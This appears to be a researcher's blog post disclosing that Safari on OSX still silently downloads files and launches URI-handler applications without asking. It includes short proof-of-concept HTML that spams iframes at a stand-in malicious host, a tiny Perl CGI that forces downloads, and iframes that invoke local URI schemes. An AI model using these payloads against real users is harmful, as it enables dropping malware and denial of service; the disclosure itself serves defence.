The Carpet Bomb issue was fixed on Safari for Windows due to pressure from Microsoft, most likely a result of threats from other security professionals who quickly realized the impact of cross application issues that contributed to remote command execution possibility on Windows. This caused Microsoft to release an advisory against Safari and Apple to eventually fix the issue on Safari for Windows.
However, 2 years later from my original disclosure, the Carpet Bomb vulnerability on OSX remains un-patched.
This means that if you use the Safari browser on OSX, a malicious entity can drop any amount of binaries or data files into your ~/Downloads/ folder. This issue is caused because, while most sane web browsers warn the end user and ask for explicit permission before saving a file locally, Safari goes ahead and saves the file into the default download location without asking the user - even if hundreds of files are served up by the malicious website simultaneously.
The technical details of the issue are the same as I reported 2 years ago, as follows: assume that a malicious website serves the following HTML:
<HTML>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
...
...
...
...
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
</HTML>
Now assume that http://malicious.example.com/cgi-bin/carpet_bomb.cgi is the following:
#!/usr/bin/perl
print "Content-type: blah/blah\n\n"
Since Safari does not know how to render content-type of blah/blah, it will automatically start downloading carpet_bomb.cgi every time it is served.
If you are using Safari for OSX, this is what your ~/Downloads/ folder can look like after a single visit to the malicious site:
The impact of this issue should be clear to anyone with a reasonable and sound mind.
In this day and age, Fortune corporations are currently being infiltrated by way of state sponsored attacks and corporate espionage where a common initial step taken by malicious actors is to drop malware on the desktops of the targeted organization’s users.
BONUS! Unlike (most) other browsers, Safari (on both Windows and OSX this time) doesn’t bother to ask for the user’s permission prior to launching arbitrary local applications that handle registered URIs.
Imagine a malicious website that served up the following HTML:
<HTML>
<iframe id="frame" src="dict://"></iframe>
<iframe id="frame" src="daap://"></iframe>
<iframe id="frame" src="vnc://"></iframe>
<iframe id="frame" src="x-mini-installer://"></iframe>
...
...
...
<iframe id="frame" src="macosxserverinvite://"></iframe>
<iframe id="frame" src="apconfig://"></iframe>
</HTML>
The following video capture demonstrates what would happen if you landed upon such a malicious site:
This may seem more of an annoyance at first glance, which in itself is an issue: denial of service towards the victim user’s desktop session. Furthermore, this behavior has the potential to be abused to exploit defects in how receiving applications accept the launch parameters and also to potentially feed local applications with malicious data that can in turn result in a compromise.
Given the continued rise in OSX’s market-share, and given the fact that Apple has decided to allow security issues like this remain un-patched, the Safari browser is increasingly likely to become the avenue of choice for the new generation of attackers.
Users and corporations beware.
Comments